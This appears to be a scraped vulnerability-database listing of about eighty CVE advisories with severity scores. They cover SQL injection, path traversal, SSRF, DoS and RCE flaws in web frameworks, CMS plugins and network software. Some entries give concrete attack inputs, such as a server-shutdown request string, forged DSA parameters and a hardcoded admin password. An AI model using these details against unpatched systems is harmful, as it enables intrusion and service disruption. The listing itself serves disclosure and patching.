CVE-2026-32878	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.20 and 8.6.44, an attacker can bypass the default request keyword denylist protection and the class-level permission for adding fields by sending a crafted request that exploits prototype pollution in the deep copy mechanism. This allows injecting fields into class schemas that have field addition locked down, and can cause permanent schema type conflicts that cannot be resolved even with the master key. In 9.6.0-alpha.20 and 8.6.44, the vulnerable third-party deep copy library has been replaced with a built-in deep clone mechanism that handles prototype properties safely, allowing the existing denylist check to correctly detect and reject the prohibited keyword. No known workarounds are available.	7.5	More Details
CVE-2026-1800	The Fonts Manager | Custom Fonts plugin for WordPress is vulnerable to time-based SQL Injection via the ‘fmcfIdSelectedFnt’ parameter in all versions up to, and including, 1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	7.5	More Details
CVE-2026-32944	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.21 and 8.6.45, an unauthenticated attacker can crash the Parse Server process by sending a single request with deeply nested query condition operators. This terminates the server and denies service to all connected clients. Starting in version 9.6.0-alpha.21 and 8.6.45, a depth limit for query condition operator nesting has been added via the `requestComplexity.queryDepth` server option. The option is disabled by default to avoid	7.5	More Details

	a breaking change. To mitigate, upgrade and set the option to a value appropriate for your app. No known workarounds are available.		
CVE-2026-25443	Missing Authorization vulnerability in Dotstore Fraud Prevention For Woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fraud Prevention For Woocommerce: from n/a through 2.3.3.	7.5	More Details
CVE-2026-32805	Romeo gives the capability to reach high code coverage of Go ≥1.20 apps by helping to measure code coverage for functional and integration tests within GitHub Actions. Prior to version 0.2.2, the `sanitizeArchivePath` function in `webserver/api/v1/decoder.go` (lines 80-88) is vulnerable to a path traversal bypass due to a missing trailing path separator in the `strings.HasPrefix` check. A crafted tar archive can write files outside the intended destination directory. Version 0.2.2 fixes the issue.	7.5	More Details
CVE-2026-33036	fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Versions 4.0.0-beta.3 through 5.5.5 contain a bypass vulnerability where numeric character references (&#NNN;, &#xHH;) and standard XML entities completely evade the entity expansion limits (e.g., maxTotalExpansions, maxExpandedLength) added to fix CVE-2026-26278, enabling XML entity expansion Denial of Service. The root cause is that replaceEntitiesValue() in OrderedObjParser.js only enforces expansion counting on DOCTYPE-defined entities while the lastEntities loop handling numeric/standard entities performs no counting at all. An attacker supplying 1M numeric entity references like A can force ~147MB of memory allocation and heavy CPU usage, potentially crashing the process—even when developers have configured strict limits. This issue has been fixed in version 5.5.6.	7.5	More Details
CVE-2026-33203	SiYuan is a personal knowledge management system. Prior to version 3.6.2, the SiYuan kernel WebSocket server accepts unauthenticated connections when a specific "auth keepalive" query parameter is present. After connection, incoming messages are parsed using unchecked type assertions on attacker-controlled JSON. A remote attacker can send malformed messages that trigger a runtime panic, potentially crashing the kernel process and causing denial of service. Version 3.6.2 fixes the issue.	7.5	More Details
CVE-2026-33204	SimpleJWT is a simple JSON web token library written in PHP. Prior to version 1.1.1, an unauthenticated attacker can perform a Denial of Service via JWE header tampering when PBES2 algorithms are used. Applications that call JWE::decrypt() on attacker-controlled JWEs using PBES2 algorithms are affected. This issue has been patched in version 1.1.1.	7.5	More Details
CVE-2026-23482	Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, the file server endpoint does not perform permission checks on the temp/ path and does not filter path traversal sequences, allowing unauthorized attackers to read arbitrary files on the server. When scheduled backup tasks are enabled, attackers can read backup files to obtain all user notes and user TOKENS. This issue has been patched in version 1.8.4.	7.5	More Details
CVE-2026-33231	NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue.	7.5	More Details
CVE-2026-4424	A flaw was found in libarchive. This heap out-of-bounds read vulnerability exists in the RAR archive processing logic due to improper validation of the LZSS sliding window size after transitions between compression methods. A remote attacker can exploit this by providing a specially crafted RAR archive, leading to the disclosure of sensitive heap memory information without requiring authentication or user interaction.	7.5	More Details
CVE-2026-4427	A flaw was found in pgproto3. A malicious or compromised PostgreSQL server can exploit this by sending a DataRow message with a negative field length. This input validation vulnerability can lead to a denial of service (DoS) due to a slice bounds out of range panic.	7.5	More Details
CVE-2026-30404	The backend database management connection test feature in wgcloud v3.6.3 has a server-side request forgery (SSRF) vulnerability. This issue can be exploited to make the server send requests to probe the internal network, remotely download malicious files, and perform other dangerous operations.	7.5	More Details
CVE-2026-3029	A path traversal and arbitrary file write vulnerability exist in the embedded get function in '_main_.py' in PyMuPDF version, 1.26.5.	7.5	More Details
CVE-2026-30403	There is an arbitrary file read vulnerability in the test connection function of backend database management in wgcloud v3.6.3 and before, which can be used to read any file on the victim's server.	7.5	More Details
CVE-2026-33512	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the API plugin exposes a `decryptString` action without any authentication. Anyone can submit ciphertext and receive plaintext. Ciphertext is issued publicly (e.g., `view/url2Embed.json.php`), so any user can recover protected tokens/metadata. Commit 3fdeecef37bb88967a02ccc9b9acc8da95de1c13 contains a patch.	7.5	More Details
CVE-2026-	strongSwan versions 4.5.0 prior to 6.0.5 contain an integer underflow vulnerability in the EAP-TTLS AVP parser that allows unauthenticated remote attackers to cause a denial of service by sending crafted AVP data with invalid	7.5	More Details

25075	length fields during IKEv2 authentication. Attackers can exploit the failure to validate AVP length fields before subtraction to trigger excessive memory allocation or NULL pointer dereference, crashing the charon IKE daemon.		
CVE-2026-33013	Micronaut Framework is a JVM-based full stack Java framework designed for building modular, easily testable JVM applications. Versions prior to both 4.10.16 and 3.10.5 do not correctly handle descending array index order during form-urlencoded body binding in theJsonBeanPropertyBinder::expandArrayToThreshold, which allows remote attackers to cause a DoS (non-terminating loop, CPU exhaustion, and OutOfMemoryError) via crafted indexed form parameters (e.g., authors[1].name followed by authors[0].name). This issue has been fixed in versions 4.10.16 and 3.10.5.	7.5	More Details
CVE-2026-25667	ASP.NET Core Kestrel in Microsoft .NET 8.0 before 8.0.22 and .NET 9.0 before 9.0.11 allows a remote attacker to cause excessive CPU consumption by sending a crafted QUIC packet, because of an incorrect exit condition for HTTP/3 Encoder/Decoder stream processing.	7.5	More Details
CVE-2026-26829	A NULL pointer dereference in the safe_atou64 function (src/misc.c) of owntone-server through commit c4d57aa allows attackers to cause a Denial of Service (DoS) via sending a series of crafted HTTP requests to the server.	7.5	More Details
CVE-2026-26828	A NULL pointer dereference in the daap_reply_playlists function (src/httpd_daap.c) of owntone-server commit 3d1652d allows attackers to cause a Denial of Service (DoS) via sending a crafted DAAP request to the server	7.5	More Details
CVE-2026-33012	Micronaut Framework is a JVM-based full stack Java framework designed for building modular, easily testable JVM applications. Versions 4.7.0 through 4.10.16 used an unbounded ConcurrentHashMap cache with no eviction policy in its DefaultHtmlErrorResponseBodyProvider. If the application throws an exception whose message may be influenced by an attacker, (for example, including request query value parameters) it could be used by remote attackers to cause an unbounded heap growth and OutOfMemoryError, leading to DoS. This issue has been fixed in version 4.10.7.	7.5	More Details
CVE-2025-46597	Bitcoin Core 0.13.0 through 29.x has an integer overflow.	7.5	More Details
CVE-2026-33485	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST['name']` parameter (stream key) is interpolated directly into SQL queries in two locations — `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.	7.5	More Details
CVE-2026-33483	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `aVideoEncoderChunk.json.php` endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in `/tmp/` with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server. Commit 33d1bae6c731ef1682fcdc47b428313be073a5d1 contains a patch.	7.5	More Details
CVE-2026-33011	Nest is a framework for building scalable Node.js server-side applications. In versions 11.1.15 and below, a NestJS application using @nestjs/platform-fastify GET middleware can be bypassed because Fastify automatically redirects HEAD requests to the corresponding GET handlers (if they exist). As a result: middleware will be completely skipped, the HTTP response won't include a body (since the response is truncated when redirecting a HEAD request to a GET handler), and the actual handler will still be executed. This issue is fixed in version 11.1.16.	7.5	More Details
CVE-2026-4645	A flaw was found in the `github.com/antchfx/xpath` component. A remote attacker could exploit this vulnerability by submitting crafted Boolean XPath expressions that evaluate to true. This can cause an infinite loop in the `logicalQuery.Select` function, leading to 100% CPU utilization and a Denial of Service (DoS) condition for the affected system.	7.5	More Details
CVE-2026-33476	SiYuan is a personal knowledge management system. Prior to version 3.6.2, the Siyuan kernel exposes an unauthenticated file-serving endpoint under `/appearance/*filepath.` Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. Version 3.6.2 fixes this issue.	7.5	More Details
CVE-2026-32969	An unauthenticated remote attacker can exploit a Pre-Auth blind SQL Injection vulnerability in the userinfo endpoint’s authentication method due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	7.5	More Details
CVE-2006-10002	XML::Parser versions through 2.45 for Perl could overflow the pre-allocated buffer size cause a heap corruption (double free or corruption) and crashes. A :utf8 PerlIO layer, parse_stream() in Expat.xs could overflow the XML input buffer because Perl's read() returns decoded characters while SvPV() gives back multi-byte UTF-8 bytes that can exceed the pre-allocated buffer size. This can cause heap corruption (double free or corruption) and crashes.	7.5	More Details
CVE-	The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to SQL Injection via the 'fields' parameter in all versions up to, and including, 1.6.10.0 due to		More

2026-3658	insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database, including usernames, email addresses, and password hashes.	7.5	More Details
CVE-2026-33040	libp2p-rust is the official rust language Implementation of the libp2p networking stack. In versions prior to 0.49.3, the Gossipsub implementation accepts attacker-controlled PRUNE backoff values and may perform unchecked time arithmetic when storing backoff state. A specially crafted PRUNE control message with an extremely large backoff (e.g. u64::MAX) can lead to Duration/Instant overflow during backoff update logic, triggering a panic in the networking state machine. This is remotely reachable over a normal libp2p connection and does not require authentication. Any application exposing a libp2p Gossipsub listener and using the affected backoff-handling path can be crashed by a network attacker that can reach the service port. The attack can be repeated by reconnecting and replaying the crafted control message. This issue has been fixed in version 0.49.3.	7.5	More Details
CVE-2026-33176	Active Support is a toolkit of support libraries and Ruby core extensions extracted from the Rails framework. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, Active Support number helpers accept strings containing scientific notation (e.g. `1e10000`), which `BigDecimal` expands into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.	7.5	More Details
CVE-2026-33154	dynaconf is a configuration management tool for Python. Prior to version 3.2.13, Dynaconf is vulnerable to Server-Side Template Injection (SSTI) due to unsafe template evaluation in the @Jinja resolver. When the jinja2 package is installed, Dynaconf evaluates template expressions embedded in configuration values without a sandboxed environment. This issue has been patched in version 3.2.13.	7.5	More Details
CVE-2026-28461	OpenClaw versions prior to 2026.3.1 contain an unbounded memory growth vulnerability in the Zalo webhook endpoint that allows unauthenticated attackers to trigger in-memory key accumulation by varying query strings. Remote attackers can exploit this by sending repeated requests with different query parameters to cause memory pressure, process instability, or out-of-memory conditions that degrade service availability.	7.5	More Details
CVE-2026-33164	libde265 is an open source implementation of the h.265 video codec. Prior to version 1.0.17, a malformed H.265 PPS NAL unit causes a segmentation fault in pic_parameter_set::set_derived_values(). This issue has been patched in version 1.0.17.	7.5	More Details
CVE-2026-23536	A security issue was discovered in the Feast Feature Server's `/read-document` endpoint that allows an unauthenticated remote attacker to read any file accessible to the server process. By sending a specially crafted HTTP POST request, an attacker can bypass intended access restrictions to potentially retrieve sensitive system files, application configurations, and credentials.	7.5	More Details
CVE-2026-33282	Ella Core is a 5G core designed for private networks. Versions prior to 1.6.0 panic when processing a malformed NGAP LocationReport message with `ue-presence-in-area-of-interest` event type and omitting the optional `UEPresenceInAreaOfInterestList` IE. An attacker able to send crafted NGAP messages to Ella Core can crash the process, causing service disruption for all connected subscribers. No authentication is required. Version 1.6.0 added IE presence verification to NGAP message handling.	7.5	More Details
CVE-2026-33180	HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.0, when setting headers in HTTP requests, the internal HTTP client sends headers first to the host in the initial URL but also, if asked to follow redirects and a 30X HTTP response code is returned, to the host mentioned in URL in the Location: response header value. Sending the same set of headers to subsequent hosts is a problem as this header often contains privacy sensitive information or data that could allow others to impersonate the client's request. This issue has been patched in release 6.9.0. No known workarounds are available.	7.5	More Details
CVE-2026-33250	Freeciv21 is a free open source, turn-based, empire-building strategy game. Versions prior to 3.1.1 crash with a stack overflow when receiving specially-crafted packets. A remote attacker can use this to take down any public server. A malicious server can use this to crash the game on the player's machine. Authentication is not needed and, by default, logs do not contain any useful information. All users should upgrade to Freeciv21 version 3.1.1. Running the server behind a firewall can help mitigate the issue for non-public servers. For local games, Freeciv21 restricts connections to the current user and is therefore not affected.	7.5	More Details
CVE-2026-33242	Salvo is a Rust web framework. Versions 0.39.0 through 0.89.2 have a Path Traversal and Access Control Bypass vulnerability in the salvo-proxy component. The vulnerability allows an unauthenticated external attacker to bypass proxy routing constraints and access unintended backend paths (e.g., protected endpoints or administrative dashboards). This issue stems from the encode_url_path function, which fails to normalize "../" sequences and inadvertently forwards them verbatim to the upstream server by not re-encoding the "." character. Version 0.89.3 contains a patch.	7.5	More Details
CVE-2026-33241	Salvo is a Rust web framework. Prior to version 0.89.3, Salvo's form data parsing implementations (`form_data()` method and `Extractible` macro) do not enforce payload size limits before reading request bodies into memory. This allows attackers to cause Out-of-Memory (OOM) conditions by sending extremely large payloads, leading to service crashes and denial of service. Version 0.89.3 contains a patch.	7.5	More Details
	Free5GC is an open-source Linux Foundation project for 5th generation (5G) mobile core networks. Versions prior to 1.4.2 are vulnerable to procedure panic caused by Nil Pointer Dereference in the /sdm-subscriptions endpoint. A		

CVE-2026-33064	remote attacker can cause the UDM service to panic and crash by sending a crafted POST request to the /sdm-subscriptions endpoint with a malformed URL path containing path traversal sequences (../) and a large JSON payload. The DataChangeNotificationProcedure function in notifier.go attempts to access a nil pointer without proper validation, causing a complete service crash with "runtime error: invalid memory address or nil pointer dereference". Exploitation would result in UDM functionality disruption until recovery by restart. This issue has been fixed in version 1.4.2.	7.5	More Details
CVE-2026-33174	Active Storage allows users to attach cloud and local files in Rails applications. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, when serving files through Active Storage's proxy delivery mode, the proxy controller loads the entire requested byte range into memory before sending it. A request with a large or unbounded Range header (e.g. `bytes=0-`) could cause the server to allocate memory proportional to the file size, possibly resulting in a DoS vulnerability through memory exhaustion. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.	7.5	More Details
CVE-2026-25312	Missing Authorization vulnerability in EventPrime allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects EventPrime: from n/a through 4.2.8.3.	7.5	More Details
CVE-2026-32299	Connect-CMS is a content management system. In versions on the 1.x series up to and including 1.41.0 and versions on the 2.x series up to and including 2.41.0, an improper authorization issue in the page content retrieval feature may allow retrieval of non-public information. Versions 1.41.1 and 2.41.1 contain a patch.	7.5	More Details
CVE-2026-31903	The WebSocket Application Programming Interface lacks restrictions on the number of authentication requests. This absence of rate limiting may allow an attacker to conduct denial-of-service attacks by suppressing or mis-routing legitimate charger telemetry, or conduct brute-force attacks to gain unauthorized access.	7.5	More Details
CVE-2026-31904	The WebSocket Application Programming Interface lacks restrictions on the number of authentication requests. This absence of rate limiting may allow an attacker to conduct denial-of-service attacks by suppressing or mis-routing legitimate charger telemetry, or conduct brute-force attacks to gain unauthorized access.	7.5	More Details
CVE-2026-33131	H3 is a minimal H(TTP) framework. Versions 2.0.0-0 through 2.0.1-rc.14 contain a Host header spoofing vulnerability in the NodeRequestUrl (which extends FastURL) which allows middleware bypass. When event.url, event.url.hostname, or event.url._url is accessed, such as in a logging middleware, the _url getter constructs a URL from untrusted data, including the user-controlled Host header. Because H3's router resolves the route handler before middleware runs, an attacker can supply a crafted Host header (e.g., Host: localhost:3000/abchehe?) to make the middleware path check fail while the route handler still matches, effectively bypassing authentication or authorization middleware. This affects any application built on H3 (including Nitro/Nuxt) that accesses event.url properties in middleware guarding sensitive routes. The issue requires an immediate fix to prevent FastURL.href from being constructed with unsanitized, attacker-controlled input. Version 2.0.1-rc.15 contains a patch for this issue.	7.4	More Details
CVE-2026-31989	OpenClaw versions prior to 2026.3.1 contain a server-side request forgery vulnerability in web_search citation redirect resolution that uses a private-network-allowing SSRF policy. An attacker who can influence citation redirect targets can trigger internal-network requests from the OpenClaw host to loopback, private, or internal destinations.	7.4	More Details
CVE-2026-33488	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `createKeys()` function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the `generateKeys.json.php` and `encryptMessage.json.php` endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users. Commit 00d979d87f8182095c8150609153a43f834e351e contains a patch.	7.4	More Details
CVE-2026-4428	A logic error in CRL distribution point validation in AWS-LC before 1.71.0 causes partitioned CRLs to be incorrectly rejected as out of scope, which allows a revoked certificate to bypass certificate revocation checks. To remediate this issue, users should upgrade to AWS-LC 1.71.0 or AWS-LC-FIPS-3.3.0.	7.4	More Details
CVE-2026-4600	Versions of the package jsrsasign before 11.1.1 are vulnerable to Improper Verification of Cryptographic Signature via the DSA domain-parameter validation in KJUR.crypto.DSA.setPublic (and the related DSA/X509 verification flow in src/dsa-2.0.js). An attacker can forge DSA signatures or X.509 certificates that X509.verifySignature() accepts by supplying malicious domain parameters such as g=1, y=1, and a fixed r=1, which make the verification equation true for any hash.	7.4	More Details
CVE-2026-2378	ArcSearch for Android versions prior to 1.12.7 could display a different domain in the address bar than the content being shown, enabling address bar spoofing after user interaction via crafted web content.	7.4	More Details
CVE-2026-32887	Effect is a TypeScript framework that consists of several packages that work together to help build TypeScript applications. Prior to version 3.20.0, when using `RpcServer.toWebHandler` (or `HttpApp.toWebHandlerRuntime`) inside a Next.js App Router route handler, any Node.js `AsyncLocalStorage`-dependent API called from within an Effect fiber can read another concurrent request's context — or no context at all. Under production traffic, `auth()` from `@clerk/nextjs/server` returns a different user's session. Version 3.20.0 contains a fix for the issue.	7.4	More Details
CVE-	Filament is a collection of full-stack components for accelerated Laravel development. Versions 4.0.0 through 4.8.4 and 5.0.0 through 5.3.4 have two Filament Table summarizers (Range, Values) that render raw database		More

2026-33080	values without escaping HTML. If there is a lack of validation for the data in the columns that use these summarizers, an attacker could plant malicious HTML / JavaScript and achieve stored XSS that executes for users who view the table with those summarizers. This issue has been patched in versions 4.8.5 and 5.3.5.	7.3	Details
CVE-2026-4497	A vulnerability was determined in Totolink WA300 5.2cu.7112_B20190227. Affected by this issue is the function recvUpgradeNewFw of the file /cgi-bin/cstecgi.cgi. This manipulation causes os command injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.	7.3	More Details
CVE-2026-4504	A flaw has been found in eosphoros-ai db-gpt up to 0.7.5. This vulnerability affects unknown code of the file /api/v1/editor/ of the component Incomplete Fix. This manipulation causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	7.3	More Details
CVE-2026-27649	The WebSocket backend uses charging station identifiers to uniquely associate sessions but allows multiple endpoints to connect using the same session identifier. This implementation results in predictable session identifiers and enables session hijacking or shadowing, where the most recent connection displaces the legitimate charging station and receives backend commands intended for that station. This vulnerability may allow unauthorized users to authenticate as other users or enable a malicious actor to cause a denial-of-service condition by overwhelming the backend with valid session requests.	7.3	More Details
CVE-2026-4499	A vulnerability was determined in D-Link DIR-820LW 2.03. Affected is the function ssdpcgi_main of the component SSDP. Executing a manipulation can lead to os command injection. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.	7.3	More Details
CVE-2026-33147	GMT is an open source collection of command-line tools for manipulating geographic and Cartesian data sets. In versions from 6.6.0 and prior, a stack-based buffer overflow vulnerability was identified in the gmt_remote_dataset_id function within src/gmt_remote.c. This issue occurs when a specially crafted long string is passed as a dataset identifier (e.g., via the which module), leading to a crash or potential arbitrary code execution. This issue has been patched via commit 0ad2b49.	7.3	More Details
CVE-2026-32663	The WebSocket backend uses charging station identifiers to uniquely associate sessions but allows multiple endpoints to connect using the same session identifier. This implementation results in predictable session identifiers and enables session hijacking or shadowing, where the most recent connection displaces the legitimate charging station and receives backend commands intended for that station. This vulnerability may allow unauthorized users to authenticate as other users or enable a malicious actor to cause a denial-of-service condition by overwhelming the backend with valid session requests.	7.3	More Details
CVE-2026-4508	A vulnerability was identified in PbootCMS up to 3.2.12. The impacted element is the function checkUsername of the file apps/home/controller/MemberController.php of the component Member Login. The manipulation of the argument Username leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used.	7.3	More Details
CVE-2026-33492	WWBN AVideo is an open source video platform. In versions up to and including 26.0, AVideo's `_session_start()` function accepts arbitrary session IDs via the `PHPSESSID` GET parameter and sets them as the active PHP session. A session regeneration bypass exists for specific blacklisted endpoints when the request originates from the same domain. Combined with the explicitly disabled session regeneration in `User::login()`, this allows a classic session fixation attack where an attacker can fix a victim's session ID before authentication and then hijack the authenticated session. Commit 5647a94d79bf69a972a86653fe02144079948785 contains a patch.	7.3	More Details
CVE-2026-4613	A vulnerability was found in SourceCodester E-Commerce Site 1.0. This vulnerability affects unknown code of the file /products.php. The manipulation of the argument Search results in sql injection. The attack can be executed remotely. The exploit has been made public and could be used.	7.3	More Details
CVE-2026-4617	A weakness has been identified in SourceCodester Patients Waiting Area Queue Management System 1.0. The impacted element is the function ValidateToken of the file /php/api_patient_checkin.php of the component Patient Check-In Module. Executing a manipulation can lead to improper authorization. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks.	7.3	More Details
CVE-2026-4579	A vulnerability was identified in code-projects Simple Laundry System 1.0. This affects an unknown function of the file /viewdetail.php of the component Parameters Handler. The manipulation of the argument serviceId leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used.	7.3	More Details
CVE-2026-4580	A security flaw has been discovered in code-projects Simple Laundry System 1.0. This impacts an unknown function of the file /checkupdatestatus.php of the component Parameters Handler. The manipulation of the argument serviceId results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.	7.3	More Details
CVE-2026-4581	A weakness has been identified in code-projects Simple Laundry System 1.0. Affected is an unknown function of the file /checklogin.php of the component Parameters Handler. This manipulation of the argument Username causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. If you want to get best quality of vulnerability data, you may have to visit VulDB.	7.3	More Details
CVE-	A vulnerability has been found in erupts erupt up to 1.13.3. Affected by this issue is the function geneEruptHqlOrderBy of the file erupt-data/erupt-jpa/src/main/java/xyz/erupt/jpa/dao/EruptJpaUtils.java. Such	7.3	More

2026-4594	manipulation of the argument sort.field leads to sql injection hibernate. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	7.3	Details
CVE-2026-4540	A vulnerability was detected in projectworlds Online Notes Sharing System 1.0. This issue affects some unknown processing of the file /login.php of the component Parameters Handler. The manipulation of the argument User results in sql injection. The attack can be executed remotely. The exploit is now public and may be used.	7.3	More Details
CVE-2026-4536	A vulnerability was found in Acrel Environmental Monitoring Cloud Platform 1.1.0. This issue affects some unknown processing. Performing a manipulation results in unrestricted upload. The attack may be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.	7.3	More Details
CVE-2025-71257	BMC FootPrints ITSM versions 20.20.02 through 20.24.01.001 contain an authentication bypass vulnerability due to improper enforcement of security filters on restricted REST API endpoints and servlets. Unauthenticated remote attackers can bypass access controls to invoke restricted functionality and gain unauthorized access to application data and modify system resources. The following hotfixes remediate the vulnerability: 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, and 20.24.01.	7.3	More Details
CVE-2026-4528	A vulnerability was determined in trueleaf ApiFlow 0.9.7. The impacted element is the function validateUrlSecurity of the file packages/server/src/service/proxy/http_proxy.service.ts of the component URL Validation Handler. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.	7.3	More Details
CVE-2026-4612	A vulnerability has been found in itsourcecode Free Hotel Reservation System 1.0. This affects an unknown part of the file /hotel/admin/mod_users/index.php?view=edit&id=8 of the component Parameter Handler. The manipulation of the argument account_id leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.	7.3	More Details
CVE-2026-4562	A security flaw has been discovered in MacCMS 2025.1000.4052. This affects an unknown part of the file application/api/controller/Timming.php of the component Timming API Endpoint. The manipulation results in missing authentication. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks.	7.3	More Details
CVE-2026-4615	A vulnerability was identified in SourceCodester Online Catering Reservation 1.0. Impacted is an unknown function of the file /search.php. Such manipulation of the argument rcode leads to sql injection. The attack may be performed from remote. The exploit is publicly available and might be used.	7.3	More Details
CVE-2025-10679	The ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More plugin for WordPress is vulnerable to arbitrary method calls in all versions up to, and including, 2.2.12. This is due to insufficient input validation in the bulkTenReviews function that allows user-controlled data to be passed directly to a variable function call mechanism. This makes it possible for unauthenticated attackers to call arbitrary PHP class methods that take no inputs or have default values, potentially leading to information disclosure or remote code execution depending on available methods and server configuration.	7.3	More Details
CVE-2026-4623	A security vulnerability has been detected in DefaultFuction Jeson-Customer-Relationship-Management-System up to 1b4679c4d06b90d31dd521c2b000bfdec5a36e00. This affects an unknown function of the file /api/System.php of the component API Module. The manipulation of the argument url leads to server-side request forgery. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The identifier of the patch is f76e7123fe093b8675f88ec8f71725b0dd186310/98bd4eb07fa19d4f2c5228de6395580013c97476. It is suggested to install a patch to address this issue.	7.3	More Details
CVE-2026-4625	A flaw has been found in SourceCodester Online Admission System 1.0. This affects an unknown function of the file /programmes.php. Executing a manipulation of the argument program can lead to sql injection. The attack can be launched remotely. The exploit has been published and may be used.	7.3	More Details
CVE-2026-4632	A weakness has been identified in itsourcecode Online Enrollment System 1.0. This vulnerability affects unknown code of the file /sms/user/index.php?view=add of the component Parameter Handler. Executing a manipulation of the argument Name can lead to sql injection. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks.	7.3	More Details
CVE-2026-4624	A vulnerability was detected in SourceCodester Online Library Management System 1.0. The impacted element is an unknown function of the file /home.php of the component Parameter Handler. Performing a manipulation of the argument searchField results in sql injection. The attack can be initiated remotely. The exploit is now public and may be used.	7.3	More Details
CVE-2026-27043	Unrestricted Upload of File with Dangerous Type vulnerability in ThemeGoods Photography allows Path Traversal.This issue affects Photography: from n/a through 7.7.5.	7.2	More Details
CVE-2026-28673	xiaoheiFS is a self-hosted financial and operational system for cloud service businesses. In versions up to and including 0.3.15, the standard plugin system allows admins to upload a ZIP file containing a binary and a `manifest.json`. The server trusts the `binaries` field in the manifest and executes the specified file without any	7.2	More Details

	validation of its contents or behavior, leading to Remote Code Execution (RCE). Version 0.4.0 fixes the issue.		
CVE-2026-28674	xiaoheiFS is a self-hosted financial and operational system for cloud service businesses. In versions up to and including 0.3.15, the `AdminPaymentPluginUpload` endpoint lets admins upload any file to `plugins/payment/`. It only checks a hardcoded password (`qweasd123456`) and ignores file content. A background watcher (`StartWatcher`) then scans this folder every 5 seconds. If it finds a new executable, it runs it immediately, resulting in RCE. Version 4.0.0 fixes the issue.	7.2	More Details
CVE-2026-33133	WeGIA is a web manager for charitable institutions. In versions 3.6.5 and 3.6.6, the loadBackupDB() function imports SQL files from uploaded backup archives without any content validation. An attacker can craft a backup archive containing arbitrary SQL statements that create rogue administrator accounts, modify existing passwords, or execute any database operation. This was introduced in commit 370104c. This issue was patched in version 3.6.7.	7.2	More Details
CVE-2026-22317	A command injection vulnerability in the device's Root CA certificate transfer workflow allows a high-privileged attacker to send crafted HTTP POST requests that result in arbitrary command execution on the underlying Linux OS with root privileges.	7.2	More Details
